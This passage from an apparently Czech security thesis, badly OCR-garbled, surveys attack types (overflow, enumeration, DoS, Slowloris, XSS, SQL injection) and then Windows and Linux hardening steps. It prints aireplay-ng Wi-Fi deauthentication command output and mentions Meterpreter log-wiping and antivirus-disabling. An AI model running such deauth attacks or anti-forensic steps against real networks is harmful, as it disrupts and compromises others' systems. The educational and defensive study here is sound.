software, odstranéni historie piikazli a podobné logy 0 jeho ¢innosti. Déle je mozné vyuZzit
Meterpeter, ktery obsahuje skript, jenz odebira logy z Windowsu a zaroven vypina antivirové

nastroje.

2.8 Typy utoku
Moznosti jak napadnout sit’, pocita¢ ¢i jen aplikaci je pomérné veliké mnozstvi. Na kazdy

konkrétni ptipad je potieba jiny pfistup. Neni tedy myslitelné, ze pokazdé lze pouzit jeden
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stejny typ utoku, ktery vzdy aza vsech okolnosti bude fungovat. Jelikoz kazdy systém
disponuje né&jakou jinou slabinou, musi se vzdy utocnik pfizpisobit konkrétni situaci. Typy

Gitok® je mozné odlidovat na zékladd nékolika charakteristickych ryst. [

2.8.1 Buffer Overflow

Pomérné stary typ utokd, ktery nevznikl nijak zamérné, ale spiSe jako programatorské chyba.
Vyuziva se chyb, kdy program neovéiuje, zda ma pro zapis do pameéti dostatecny prostor
a zapiSe informace do oblasti, kam by za normalnich okolnosti zapisovat nemél. Tedy
napiiklad, ze misto 64kB zapise 80kB. Dusledek takového zapsdni mimo povolenou pamét
muze byt nezmérny. Data, nachazejici se mimo vyhrazeny prostor mohou byt nahrazena
uto¢nikovym kodem a spustit ho na takovém misté, kde mela byt data zpracovdvana a ne
vykonavana. Nejcastéjsim cilem podobnych utokt jsou rizné aplikace a webové servery, kde
se predpoklada néjaky vstup od uzivatele. Spravné navrzené aplikace by mély ovétovat délku

vstupnich dat tak, aby se piedchazelo podobnym problémtim. [4]

Buffer overflow vétsinou funguje v kombinaci se zapisem dat na zasobnik, kdy se takto piepise
navratova adresa pfi volani funkce "ret" a nasledné se sko¢i tam, kam tuto¢nik chce, ¢imz se kod

zacne vykonavat. Datova oblast je jinak oddélena od oblasti v paméti, kde je program.

2.8.2 Forceful Browsing

Forceful browsing neboli Vynucené prohlizeni, je jednim z nejméné naro¢nych typt Gtoki.
Tento typ se vyuziva U webovych stranek a zaklada se na principu omezeni pfistupu pro urcitou
skupinu uZzivatell. Samotné stranky tak nejsou chranéné jinak, nez ze ve vetejné Casti nejsou
piimé odkazy na ,,skryté* stranky, avSak samotna stranka je dohledatelna pomoci hadani URL.
Paklize uzivatel ma pfistup na stranku s URL xxx.xx/123, muze zkusit, co udéla URL
XXX.XX/124. V té chvili mize dojit k pfesmérovani na existujici stranku nebo slozku, na kterou
nema autorizovany piistup. Utoénici nejéast&ji prvné analyzuji web a na zakladé toho hledaji
zabezpeceny obsah jako zdrojové kody, zalohovana data ¢i logy. Nejsnadnéji je mozné
uhodnout pouzivané nazvy slozek: Admin, Administrator, Images, Backup, Log, Scripts. Pro

automatizovany sken webového serveru se d4 pouzit napiiklad nastroj Nikto2.[t]

2.8.3 Enumeration

Enumerace sice neni typ utoku, nicméné pro vétSinu Utokil je nezbytné€ nutny. Jednd se 0 typ
titoku, ve kterém je utoénik schopen ziskat informace 0 svém cili. Cim vice informaci utoénik
ziska, tim je $ance pro Usp&iné napadeni systému vétsi. Utocnik diky enumeraci miize ziskat

informace o uzivatelskych jménech a jejich privilegiich, sluzbach, pravidlech, sdilenych
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slozkach i vSech otevienych portech. Hledanim defaultnich stranek na serveru je mozné najit
vyuzitelné slabiny. Stejné jako v aplikacich defaultni nastaveni nckterych systémi nebo

generovanych stranek s errory mohou byt také zneuzity. [16]

Program pro automatickou webovou enumeraci — http-dir-enum, DirBuster nebo dalsi

programy napiiklad nikto nebo nessus. [

Webova enumerace: [17118]

e http:/host/admin/ (401) — stranka vratila chybovy kod jiny jak 404, je mozné ptedpokladat, ze
slozka existuje

e http:/host/logs (404) — stranka vratila chybovy kod, s ptiznakem, ze stranka/slozka neexistuje

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing Q@ e 0

File Options About Help

http:/fupce.cz:80/
@ Scan Information | Results - List View: Dirs: 3 Files: 36 ' Results - Tree View |, /\ Errors: 63

Directory Stucture Response Code Response Size
B/ 301 527 3
#-(J css 200 352
[ ckeditor 301 529
~[ fancybox 301 520
-~ formwizard 301 533
~[] hsvalidate 301 533
~[1 hogan.js 301 529 1
[ htmisshiv 301 531
~[ i18next 301 527
- iframe-resizer 301 541
~[7 jquery 301 525
=[] jgquery-cookie 301 539
~[1 jquery-migrate 301 541
=1 jquery-nivoslider 301 547
[ jquery-resize 301 539
=1 jquery-ui 301 531 ]
Current speed: 382 requests/sec (Select and right click for more options)

Average speed: (T) 315, (C) 377 reguests/sec

Obriazek 9 - pouziti DirBusteru, Zdroj: Vliastni

Enumerace portt:

Program pro enumeraci portli nmap, Microsoft Netstat, Port Explorer.

Tabulka 1 - enumerace otevienych porti Zdroj: viastni

PORT STATE SERVICE VERSION

21/tcp Open ftp vsftpd 2.3.4

22/tcp Open ssh OpenSSH 4.7
5432/tcp Open postgesql PostgeSQL DB 8.3.0
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2.8.4 Denial of Service

Snad nejznédméjsi utok dnesni doby oznacovany DoS neboli odmitnuti sluzby. DoS ma za cil
zahltit server a zpusobit jeho nedostupnost, nejedna se tedy 0 utok v pravém smyslu slova,
jelikoz se nesnazi odcizit zadné citlivé udaje nebo data. Jeho cilem je nejcastéji na sebe

upozornit nebo se miize jednat o jistou formu protestu ¢i nesouhlasu.

Pouzivanéjsi verzi DoS je jeho rozsifena verze DDoS, jenz neni nic jiného nez rozsifeni 0 veliké
mnozstvi uto¢niki s origindlnimi [P adresami. Ve skutecnosti nemusi byt utok provadén vice
uzivateli, ale pouze jednim, ktery at’ uz mél dostatecné kapacity z hlediska rychlosti pfipojeni,
Sitky, pasma anebo byl schopny ziskat nadvladu nad jinymi zafizenimi nebo s vyuzitim botnetu,
tedy sité infikovanych poéitadli fizeny specialnim softwarem. Utok samoziejmé miize byt
provadén vice uzivateli soucasné, jenz vytvori dostate¢nou zatéz bez nutnosti, aby jednotlivec

disponoval dostateénou kapacitou k provedeni utoku. [*°

Utoénik provede vice pozadavki nez na kolik je server pfipraveny. Pozadavky neni mozné
v realném cCase vytizovat a dojde tak Kk jejich fazeni do fronty, coz se u klienta projevi
nedostupnosti sluzby. Spatné konfigurovany server se v piipadé zahlceni nemusi umét
z podobné situace zotavit a Vv piipadé zahlceni miiZze zplsobit vypadek konkrétni sluzby, ktera

je vyfeSena aZ manualnim zédsahem administratora, jenZ se postara 0 op&tovné zprovoznéni.

DoS utok je mozné provést v ruznych castech komunikace mezi serverem a klientem.
Piikladem muze byt opakovany dotaz 0 sestaveni pozadované stranky, vyplnéni a odeslani
formuléte, opakované zadani Spatného hesla, zména aplikace zpracovavajici data. DoS nemusi
probihat vyhradné na webové stranky a poskytované sluzby, jako je naptiklad mailova
schranka. Tento typ utoku je mozné pouzit také na kamerove systémy za ti€elem vyfazeni jejich
¢innosti.

Nejen casté pouzivani téchto utokti by mélo byt divodem pro dostatecné zabezpeceni
infrastruktury instalaci a vhodnou konfiguraci bezpe¢nostnich prvkii. Napiiklad instalaci
systémi pro prevenci priniku (IPS), které monitoruji sit’ a aktivity operacnich systémi za

ti¢elem identifikace $kodlivych ¢innosti nebo instalaci firewallfi a riiznych load balancerd. B

2.8.5 SYN Flood

Jednim z typti DoS ttokd je SYN Flood, jenz vyuziva zékladnich principt pii zakladani TCP
spojeni. Pfed navazanim spojeni a pfenosem dat je vyZadovano dokonceni trojcestného
handshake.
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Realizace spojeni je vykondvana ve tfech krocich:

1. Odeslani pozadavku na spojeni — odeslani SYN paketu od klienta na server, jenz odstartuje
handshake
2. Rozpoznani pozadavku a odpovéd’ — server identifikuje pozadavek a odpovi odeslanim SYN
a ACK pakety
3. Odpoved klienta — posledni faze, kdy klient odesila ACK zpét na server a dokoncuje
handshake 1291
Ve chvili, kdy server obdrzi synchroniza¢ni paket, alokuje dostatek paméti pro udrzeni spojeni
a dale ceka. Paklize byl SYN paket odeslany na podvrzenou IP adresu atedy ACK a SYN
odejde na nespravnou ¢i neexistujici adresu, nedojde k potvrzeni ACK od klienta a tak neni
mozné pokraCovat v procesu autorizace. Pamét je na serveru stile rezervovana a Server
je nucen ¢ekat urcenou ¢asovou periodu, nez vyprsi ¢as pro ovéieni spojeni. Dojde-li k vétsimu
vyskytu podobnych spojeni a dosazeni maximalniho poc¢tu spojeni na server, jsou kazdé dalsi
pfichozi poZadavky na server automaticky blokované. Server tak nemiliZze vyhovét legitimnim
pozadavkiim a vysledkem je zpomaleni nebo odepieni sluzby pro viechny. Utok je znatné
nenaro¢ny z hlediska pozadavki na rychlost pfipojeni a tak miize byt provadén velmi snadno.
Problémem je isamotné odliseni legitimniho pozadavku od podvrzeného, jelikoz vsechny

vypadaji stejng. 2]

Jedinym fesenim proti podobnym DoS ttokiim je vyuziti SYN protektort (IPS TippingPoint),
tato zafizeni jsou umisténa mezi klienta a server, navrzena tak, aby zvladala vysoky pocet
spojeni. Jakmile SYN protektor navaze a ovéii TCP spojeni s klientem pifedéa spojeni serveru.

V piipadé jakéhokoliv utoku, server Zadnou zatéZ nezaznamena.

2.8.6 RUDY

R-U-Dead-Yet je také DoS utokem, jenz podobné jako SYN flood funguje na principu
postupného alokovani TCP spojeni, avSak na rozdil od néj spojeni navdze a po nekone¢nou
dobu udrzuje. RUDY je popularni pro sviij pomaly ttok, ktery je navrzen tak, aby zpiisobil pad
serveru. Utok miize probihat odesilanim dlouhého pole ve webovém formulafi nebo pomoci

skriptu Slowloris.

Utok pomoci formulafe posle neukonéeny HTTP pozadavek a dalsi hlavicky posila tak, aby
mezi jednotlivymi pozadavky nevyprsel casovy limit. Nékteré RUDY utoky pouzivaji ndhodny
¢as pro odesilani informaci, nicmén¢ Vv zékladu jsou posildny v malych davkach a kazdy byte
ma typicky 10 sekundovy rozestup. Diky odesilani paketi velmi pomalu, se vytvaii masivni
mnozstvi vldken s nevytizenymi procesy a zaroven je branéno serveru v uzavieni spojeni.
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V ptipadé Slowloris je situace velmi podobnd, pouze skript navaze a udrzuje desitky spojeni,
jenz obnovuje tésné pred vyprSenim Casového intervalu tim, ze odesle dalsi data. Tak
je Slowloris schopen vytvotit béhem nékolika minut tisice spojeni, které vedou K vycerpani

zdrojt serveru, nedostupnost pro legitimni klienty a v kone¢ném disledku pad serveru.

RUDY utoky jsou oproti béznym DoS utoktim, pro které je typické zna¢né zvyseni ptichozich
dat, obtizné detekovatelné. Jednim zpusobem je monitorovani zdroji serveru nebo omezeni
poctu navazanych spojeni z jedné vychozi IP adresy. Pfi detekovani RUDY ttoku je jedinym

fesenim docasné blokovani zdrojové IP adresy. [?%

2.8.7 Deautentizace od AP

Jednoduchym a do jisté miry specifickym utokem je deautentizace od Acess Pointu. Obrana
proti takovym utokiim prakticky neexistuje, jelikoz neni nutné byt pfipojeny k zadné siti
za GCelem zahajeni utoku. Zaroven je mozné utok provadét na jakkoliv zabezpeCenou

bezdratovou sit’, bez znalosti Sifrovani, hesla ¢i infrastruktury.

Hacker vydavajici se pied klientem za router, pozaduje opétovnou autentizaci. Ve stejné chvili
vydavajici se za pripojeného klienta posila deautentiza¢ni balicky na router. Proto, aby mohl
klient pokracovat ve své Cinnosti, musi znovu zapocit autentizacni proces. Diky opétovné
autentizaci klienta, je mozné odposlechnout handshake atak i odhalit pouzivané heslo
bezdratové sité. Zaroven trvalym odesilanim deautentizacnich paketd je moZné zpusobit

nedostupnost WiFi sité.

2 ][ Elapsed: 1 min ][ 2014-08-

PWR RXQ Beacons : , ¥ MB ENC CIPHER AUTH ESSID
-54 100 54e WPA CCMP PSK UPC723762
STATION Frames Probe

€0:18:85:C1-CF:01 =13
28:6A:BA:B1:11:61 -35

Obrazek 10 - airodump-ng - skenovani aktivnich WiFi, Zdroj: Viastni
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:EE -c C0:18:85:C1l:CF:01 monO
:EE) on channel 2

:CF:01] 8¢ ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

:CF:01] ACKs]

O

:~# aireplay-ng --deauth 10000 -a 00:10:18
Waiting for beacon frame (BSSID: 00:10:18
Sending 64 directed DeAuth. STMAC: [CO:18
Sending 64 directed DeAuth. STMAC: [CO:18
Sending 64 directed DeAuth. STMAC: [CO:1

Sending 64 directed DeAuth. STMAC: [CO:18
Sending 64 directed DeAuth. STMAC: [CO:18
Sending 64 directed DeAuth. STMAC: [CO:1

Sending 64 directed DeAuth. STMAC: [CO:18
Sending 64 directed DeAuth. STMAC: [CO:18
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Obrazek 11 - aireplay-ng - odesilani deautentiza¢nich paketd, Zdroj: Viasini

2.8.8 Error Messages

Vsichni vyvojaii jsou vedeni k tomu, aby kazda chybova hlaska byla samo vypovidajici a tedy
dokazala objasnit problém a pomoci uzivateli s debuggovanim. Avsak stejna chybova hlaska
mize napovédét mnoho Gto¢nikovi a odhalit mu informace o aplikaci ¢i o tom, jak funguje.
Chybové hlasky vedly k prozrazeni struktury, nazvi jednotlivych komponent, detaili
0 prib¢hu business procesi a nékdy také celé radky koda. Stejné jako utocnici si uvédomuji
potencial chybovych hlasek pii probihajicim ttoku, by isamotni programatoti si méli byt
védomi toho, Ze mohou prozradit pfili§ 0 fungovani programu a tak nepfimo ucinit systém

¢i program zranitelnym.

2.8.9 Cross-Site Scripting

XSS je dalsi z velice znamych ttokti na webové aplikace. Princip tGtoku je naruSeni aplikace
pomoci chyb ve skriptech nebo HTML kodu. V dasledku nedostatecného oSetieni vstupnich
dat do aplikace je Gto¢nik schopen podstréit do stranek vlastni skript, ktery mize zménit funkci.
XSS neni ttok na samotnou aplikaci, ale na klienta. Utoénik ma moznost libovolné ménit
stranku, ktera se klientovi zobrazuje a provadét na jeho zafizeni rtizné skripty. Utok miize
probihat riznymi zplsoby, at’ uz od znepfistupnéni, zmény, ¢i ziskani citlivych udaji po

samotné obchazeni bezpeénostnich prvkii, které byly do aplikace vlozeny. [°!

Podstr¢eni HTML kodu neni pro uto¢nika tak zajimavé. Samoziejmé aplikace by neméla
dovolit neautorizovanému uzivateli samostatné¢ vkladat jakékoliv interpretovan¢ HTML tagy
tak, aby si uzivatel mohl preskladat ¢i pretvorit layout stranky ke své predstave. VEtsi problém
pfisel s rozsitenim JavaScriptu. Pomoci riznych skripti muze uto¢nik nahradit ptivodni
bezpecny obsah stranek svym vlastnim obsahem. Dobrym piikladem muze byt nahrazeni
piihlaSovaci obrazovky vlastni, aniz by uZzivatel poznal, ze se jednd 0 podvrh. Upravena
aplikace bude misto ptivodni funkce odesilat uto¢nikovi zadané jméno a heslo. Utoénik se
nemusi zamé&fit pouze na vstupy samotného uzivatele, ale je schopen mu také ukrast aktualni

Session 1D, tak i platné piihlaseni do aplikace. (24130
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Podobnym utoklim Ize zabranit pouze dislednou kontrolou HTML znacek na vSech vstupech

do aplikace.

Jako potencialn¢ zranitelna je kazdd webova stranka s vyhleddvanim, registracni stranka,

ptihlaSovaci stranka nebo dokonce navstévni kniha.

2.8.10 SQL injection

Dalsim znamym tUtokem, ktery byl poprvé popsan na konci roku 1998 je SQL Injection.
Kutoku zpravidla dochézi pfi generovani SQL dotazu na zakladé né&jakého uzivatelského
vstupu a pii nasledném piedavani dotazu databazovému serveru k vykonani toho, aniz by se
zkontrolovaly znaky, které maji pro databazovy server specialni vyznam. Takto je umoznéno
uto¢nikovi podsouvat a vykonavat vlastni piikazy na databazovém serveru, coz muze vyustit
ve ztratu, kradez nebo znehodnoceni dat. Dalsim disledkem nedostatecného osetfeni vstupti

miiZze byt smazani celé databaze nebo ztrata credentials (pfihlasovacich tdaji).
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3 HARDENING

Systém, ktery provadi vice funkci, je nachylnéjsi vac¢i riznym typlim ttokl, oproti
jednoucelovému systému. Hardening je proces zabezpecovani systému, ktery zamezi vyskytu
zneuzitelnych zranitelnosti tto¢nikovi. Dany proces je vysledkem mnoha operaci, jenz zprvu
obsahuje také zménu piednastavenych, tedy defaultnich hesel, odstranéni nepouzivaného ¢i
predinstalovaného softwaru. V soucasné dobé je hardening jednim ze zakladnich
bezpecnostnich opatfeni pro zamezeni uniku citlivych informaci ze systémt spolecnosti.
Hardening je také odstranéni nebo zakazani n¢kterych funkci operacniho systému, které dovoli
opera¢nimu systému provozovat jen urcité funkce, které jsou nezbytné nutné pro béh aplikaci.
Konec¢ny uzivatel v takovém piipadé nemize pouzivat jiné nez povolené aplikace, coz ve

vysledku znamena, Ze nékteré piistupové body jiz nejsou hackertim dale k dispozici.

3.1Pribéh hardeningu

Kazdy den jsou odhalovany nové a nové hrozby, proto je nezbytné se hardeningem zabyvat

kontinudlné, pro zajiSténi bezpecnosti je proces hardeningu nikdy nekonéici ¢innosti.

Pred zapocetim samotného procesu je nutné stanovit si cile a konkrétni systémy, které budou
pfedmétem zabezpecovani. Systémy jsou zpravidla vybirany dle jejich kriti¢nosti a vyznamu,
ktery v rdmci spolecnosti zastavaji. Souc¢asné mulze byt také vybiran software, ktery bude

provadéet automatizovanou kontrolu vhodného nastaveni.

V druhé tadé¢, je nutné vytvofit bezpecnostni politiku na zékladé, které bude provadén
hardening. Jedna se 0 procesni i technické piedpisy, které pevné urCuji, jak bude vypadat
konfigurace aplikaci a systémtl. Nezbytné je také potieba rozhodnout, jak tyto pravidla budou
konfrontovana s realitou, tedy jak bude probihat ovétovani jiz zabezpecenych systémt. Zde na
fadu prichazi existujici standardy jako je NIST nebo Center of Internet Security (CIS)
Benchmark. V této fazi se vytvaii bezpecnostni politiky tak, aby bylo mozné je vyhodnocovat
nejen manualné, ale také automatizované, coz Setii Cas, ale i nezbytné prostfedky vynalozené
na zdroje. Jednd se 0 néstroje, jenz jsou schopné ovéfit nasazeni hardeningové politiky na

zatizeni a najit neshody oproti schvalenym a jiz provedenym praktikam.

3.2 Klasifikace zranitelnosti
Obecné neni klasifikace nijak pfesné definovana a rizné firmy hodnoti hrozby rtizn€. Vzhledem
k tomu, Ze prace se pievazné zabyva produkty spole¢nosti Microsoft, je zde uvedeno také déleni

hrozeb, které tato spolecnost vyuziva.

39



e Low — Minimalni dopad - zneuziti je obtizné nebo nevede k nicemu uzite¢nému

e Moderate — Primérné — riziko zneuziti je snizeno defaultnim nastavenim, ke zneuziti stale
muze dojit, avsak lze jej v¢as detekovat a tedy mu i zabranit

e Important — Dtlezité

3.3 Doporuceni pro zabezpeceni OS Windows

e Nastaveni opakovaného odesilani SYN-ACK paketi umozni rychlejsi odpojovani uzivatele
béhem SYN flood utoku.

e Urcit, kolikrat jsou pfeposlany neoznacené datové segmenty na existujici spojeni. Data jsou
pieposilana dokud neni obdrzeno potvrzeni 0 pfijeti nebo hodnota nevyprsi.

e Zakazani ICMP protokolu, kdy Gto¢nik mize vyuzit vzdaleného pridavani defaultni cesty.

e Zakazani sluzeb:

o Telnet

o Univerzalni Plug and Play

o Sdileni vzdalené plochy

o Spravce vzdalené pomoci

o Vzdaleny registr

o Smérovani a Vzdaleny piistup

o Zakazani a vymazani neaktivnich uctl
o Zakazani Host uctu

e Pouziti mistnich zasad zabezpeceni (minimalni délka hesla, maximalni stafi hesla, historie
pouzitych hesel).

e Zakazani enumerace SID, pifejmenovanim administratorského uctu se neméni jeho SID a tak
pokud utocnik pouZzije spravny nastroj je schopen najit administratorsky ticet. Po lokalizaci
administratorského uctu je dalsim krokem pouziti brute force utoku, za G¢elem prolomeni
hesla a ziskani administratorskych prav.

e Zakazani sdileni soubort a tiskaren.

e Zakazani Vzdaleného piistupu.

e ZaSifrovani slozky Dokumenty a dalSich slozek s docasnymi soubory.

e Pouziti hesla pro BIOS a Bootlevel, neumozni nastartovani systému, dokud neni zadano
spravné heslo.

e Pouziti NTFS, umoziuje nastavit prava pro uzivatele a zvolit, ke kterym datim jsou opravnéni
pfistupovat.

e Zakézani automatického piihlasovani do systému.

Doporuceni pro Windows Server obsahuje jesté nékolik dalsich polozek: [2°1[26143]
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Nastaveni statické adresy pro produkéni server, tato IP by méla byt v zabezpeCeném segmentu
za firewallem.

Zakéazani nepouzivanych sitovych porti, které nejsou pouzivany, kupiikladu IPv6.
Nainstalovani a aktualizovani veskerého pouzivaného softwaru, odstranéni prebytecného

a nepouzivaného softwaru, vcetné vychozich aplikaci.

Zapnuti a kontrolovani aktualizaci a oprav.

Nastaveni synchronizace €asu s internetovym serverem.

Nastaveni Firewallu, paklize v siti neni konfigurovany hardwarovy firewall.

V piipadé pouziti vzdalené plochy vytvofit omezeni jen pro pristup z VPN.

Povolit User Acount Control, pozada uZivatele s administratorskymi pravy o souhlas

s instalaci.

Zabezpecit, ptipadné pouZit hardeningové metody pro dalsi bézici aplikace jako je MSSQL
a dalsi.

Povolit logovani udalosti 8 monitorovani dat.

3.4 Doporuceni pro zabezpeceni OS Linux

Hardening Linuxu mize byt provedeno splnénim 15 krokd. VétSina administratori

predpoklada, ze Linux uz ze své podstaty je zabezpecenym prostfedim a nemusi byt podroben

hardeningu. Samoziejmé existuje mnoho dalSich krokd, které Ize ucinit a dale v hardeningu

pokracovat. Nasledujici kroky jsou vsak jednémi z prvnich krokd k dosazeni bezpeéného

systému. 271

1. Zabezpecit BIOS heslem tak, ze uzivatel nema moznost ménit nebo prepisovat bezpecnostni
nastaveni BIOSu.

2. Zakazani bootovani z externich diskl a médii.

3. Zasifrovani pevného disku — v pfipad€ zcizeni pevného disku jsou ulozend data nepfistupna.

4. Vytvareni zaloh — skladovani zalohovanych dat na jiném misté nez se data aktualn€ nachazi,
v ptipadé poskozeni systému nedojde ke ztrate dat.

5. Uzamceni boot slozky — slozka obsahujici dalezit¢ informace 0 souborech, tykajici se
Linuxového jadra, proto je dilezité nastavit slozce pfistupova prava. Pro root, read a execute
a pro bézného uzivatele vynutit root prava.

6. Zakazani pouzivani USB — v nékterych ptipadech je v zdjmu ochrany a integrity dat nutné
zakazat USB zatizeni.

7. Aktualizace Linuxu - apt-get upgrade (aktualizuje pouze instalované balicky).

8. Kontrola nainstalovanych balickt — kontrola a odebrani nepouzivanych (napiiklad Telnet
server, NIS server).

9. Kontrola otevienych portt - netstat —antp.
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10.
11.

12.

13.
14.

15.

Zabezpeceni nebo zakazani SSH.
Povoleni SELinux — rozsifeni jadra 0 povinné fizeni ptistupu vedouci jemnéjsimu nastavovani
ptistupovych prav k datim.
Nastaveni sitovych pravidel:
a. zakazani presmérovani I[P
b. zakazani pfesmérovani paketl
€. zakazani akceptace presmérovani ICMP
Nastaveni Linux Firewallu s pouzitim iptables a filtrovani ptichozich a odchozich pakett.
Nastaveni politiky hesel.
a. zakdzani znovupouziti poslednich hesel
b. zaSifrovani souboru s uloZzenymi hesly hashovacim algoritmem
€. omezeni poc¢tu nepovedenych piihlaseni
d. nastaveni maximalni platnosti hesla
Opravnéni a oveéfovani - nastaveni uzivatelskych nebo skupinovych prav pouze pro root.
a. nagshadow soubor obsahujici informace 0 skupinach (nazvy a hesla)
b. nashadow soubor, obsahujici uzivatelska jména a zasifrovana hesla
c. napasswd soubor, obsahujici jeden fadek pro jednoho uzivatele (uzivatelské jméno,
UID, GID, atp.)

d. na/var/spool/cron, k zabezpeeni planovanych udalosti

3.5 Systémy podrobené hardeningu

Jak uz bylo zminéno, hardeningu je mozné podrobit mnoho typti zafizeni a nemusi se tak

nezbytné jednat pouze 0 server ¢i koncovou stanici. Hardening je vhodny pro vSechny systémy,

platformy ¢i dokonce aplikace, které jsou soucasti infrastruktury spolecnosti.

Kazda spolecnost se k potiebé zabezpeceni a hardeningu stavi rizné a i kdyZ neimplementu;ji

hardening pro vSechna sva zatizeni, implementuji jej alespon na néktera a to podle rizika, ktera

rozdilna zafizeni prinaseji. Zda je zafizeni mozné nebo potiebné hardenovat se obvykle provadi

V prvni fazi analyzy.

Nejcastéji jsou principy hardeningu implementovany na servery a jejich aplikacni Casti

(Operacni systém, aplikacni servery, Databaze, SW firewall). Déle jsou hardeningové procesy

pouzivané na AP (Access point), hardwarovych firewallech, ale také v kontrolnich systémech.

(PLC, DCS, SCADA)

3.6 Komparativni analyza opera¢nich systému a hardening

Piedtim, nez je mozné provést komparativni analyzu mezi OS Linux a OS Windows,

je nezbytné nutné podotknout, ze tyto dva systémy se lisi uz v samotném navrhu. Windows
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je opera¢nim systémem, ktery byl navrzen tak, aby podporoval aplikace piesunem vice funkci
do operacniho systému. Pfistup Linuxu se trosku lisi, jelikoz Linux poskytuje jasné oddéleni
prostoru mezi jadrem a uZzivatelskym prostorem. Uvédoméni si téchto rozdilti je nezbytné
nutné, jelikoz ucinéni jednoho nebo druhého operacniho systému vice bezpecnym zavisi

na architektonickém navrhu. 28

V prvni fadé¢ Windows neni modularnim systémem a tak, kdyz se poSkodi n€ktera ¢ast systému,
poskodi se nenavratn¢ vse. Kdyz veskeré systémové komponenty spolecné spolupracuji, je pro
malware mnohem jednodusi se dostat tieba z poStovniho klienta do ostatnich systémovych
soubort. Na rozdil od Windows Uctil, nemaji Linuxovi uzivatelé bézné administratorska prava
(root), ktera jsou nezbytné nutna pro zasadni zmény v systému a tak i v pfipadé, ze se Skodlivy
koéd dostane do systému, nemd se jak Sifit. Pfevazna vétSina uzivatell pozaduje od svého
pocitace, aby fungoval bez ohledu na zdlouhavé konfigurace a feSeni rtiznych technickych
problémii. Windows automatizuje tolik funkci, kolik mize, aby uzivateli usnadnil praci a ¢as,
¢imz vsak otevira prostor pro Skodlivé kody. Malware se muze §itit i z nevinné vypadajicich
soubort, autorunu pii pfipojeni externiho zatizeni a dal$i. Ackoliv open source programy je
mozné pod Windows provozovat, systém jako takovy je zcela uzavieny a jeho kod neni vetejny.
Naopak Linux je open source systém, jeho zdrojovy kod je znamy a kdokoliv si ho muize
prohlizet nebo modifikovat. Paklize se vyskytne néjaka zranitelnost v samotné distribuci nebo
programu, jsou vyvojaii nebo komunita vétSinou rychlejsi v hledani a opraveni slabiny, nez

ostatni vyvojari.

Bezpe¢nostni model pro Windows je kolekci uzivatelského reZimu arezimu jadra, které

monitoruji, zpracovavaji a kontroluji rizné souc¢asti a zabezpeceni opera¢niho systému.

Oba systémy maji své vlastni standardy, které¢ se vénuji zabezpeceni systému. U Windows:
Security Reference Monitor, Lsass, SAM, Active Directory. V ptipadé Linuxu PAM Library,
PAM Configuration File, Authentication Module a dalsi. Jsou oba systémy modularizovany
tak, aby byla zajist€na jejich bezpe¢nost, jednotlivé komponenty jsou z ¢asti nezavislymi

sluzbami a procesy, jenz pracuji v jadru systému a v uzivatelském modu.

U Windows se pouziva SID cislo, které¢ je razné¢ dlouhé a slozené z numerickych hodnot
nckolika dalSich prvki. Kazdd uZivatelskd skupina nebo sitové zafizeni a také samotné
pfihlaSeni ma svlj unikatni identifikator. Logovaci proces je zodpovédny za vytvoieni
unikatniho SID pro kazdé ptihlaseni. Linux k identifikaci uzivatele pouziva jeho ptihlaSovaci

jméno, které je predavano piihlaSenim uzivatele do systému. Interné je uzivatel identifikovany
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pomoci UID, coz je numerickd hodnota nastavend systémovym administratorem pii vytvareni
uzivatelského uctu. Zaroven je kazdy uzivatel pfifazeny do jedné nebo vice uzivatelskych

skupin.

Ptes rlizné pojmenovani, pouzivaji oba systémy unikatniho identifikatoru uzivatele. Hlavnim
rozdilem je ulozeni téchto identifikatorti. Ve Windows jsou identifikatory ulozené v registrech

pod HKLM\Security a v Linuxovych systémech pod /etc/passwd. 29

3.7 Baseline Server Hardening

Proto, aby bylo mozZné zacit s hardeningem na serveru, je nutné splnit nékolik pozadavki.

V prvé tadé musi veskery instalovany software vcetné operacniho systému pochazet
z ditvéryhodného zdroje. Aby mohla zapocit instalace a hardening, musi se servery béhem
procesu nachazet v zabezpecené ¢i duvéryhodné siti. Zakladni instalace by také méla obsahovat

v§echny dostupné servisni balicky. (4]

Jakmile jsou splnény poZadavky asystém je nainstalovdn mize se prikroc¢it k procesu

samotného hardeningu.

3.7.1 Skupinova prava (Group policy)

Pro aplikaci skupinovych prav je nezbytné nutné vytvorit skupiny uzivateld a jejich opravnéni.
Nastavenim skupinovych prav se zvySuje bezpeCnost a piehlednost. Dale je mozné pfii
pfidavani dalich uZivateld automaticky implementovat skupinova prava bez nutnosti

manualniho zasahu. BY

3.7.2 Pouziti NTFS

Oddily souborového systému Windows NTFS nabizeji pfistupové kontroly, které nejsou
k dispozici u souborovych systémi typu FAT az FAT32x. Proto je nutné se ujistit, ze vS§echny
oddily na serveru jsou naformatovany pomoci NTFS. V ptipad€ potfeby nemusi byt nutné

znovu formatovat oddil, ale staci pouzit konverzni nastroj pro prevod oddilu z FAT na NTFS.
[31]

3.7.3 Zabezpeceni administratorského uctu

Cim del3i heslo, tim siln&j§i a tim i hiife prolomitelné. Kratké hesla s nékolika typy znakti nebo
Cisel jsou znacné nachylna na slovnikové utoky. V nékterych piipadech ikratké heslo,
seskladané z n¢kolika typl znakd, ¢islic, znamének nebo netisknutelnych znaka, které jsou
dostupné ptes klavesové zkratky, muze byt siln€jsi nez dlouhé heslo, poskladané pouze
ze znaka ¢i ¢isel. Od verze Windows Server 2003 je mozné zadat heslo, které ma az 127 znaka.
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Pro dostate¢né zabezpecCeni je Microsoftem doporu¢ovano alespon devitimistné heslo,
obsahujici minimalné¢ jeden interpunk¢ni znak nebo netisknutelny ASCI znak v prvnich sedmi

znacich, 3144

Déle by administratorské heslo nemélo byt synchronizované ptes vice serverii, pro kazdou
doménu ¢i server by mél administrator pouzivat jiné heslo, za ucelem zvyseni bezpecnosti celé

skupiny.

Tabulka 2 - ¢asovy odhad pro prolomeni hesla bézném PC, Zdroj: viastni

znak+cislo cas znak+¢islo+int Cas

slovn Os slov7 1s #lov7 15s
slovni 3s slov7i 22s #lov7i 18m
slovnik im slov7ik 13m #lov7ik 19h
slovnike  35m slovn7ke  8h #lovn7ke 60dni
slovnikem 15h slovn7kem 12h #lovn7kem 10let

Ve vySe uvedené tabulce je zobrazeno nékolik hesel, které¢ v zddném piipadé neslouzi jako
bezpecné heslo, ale spiSe pro demonstraci jejich ptibliznych ¢asovych odhadl na standardnim
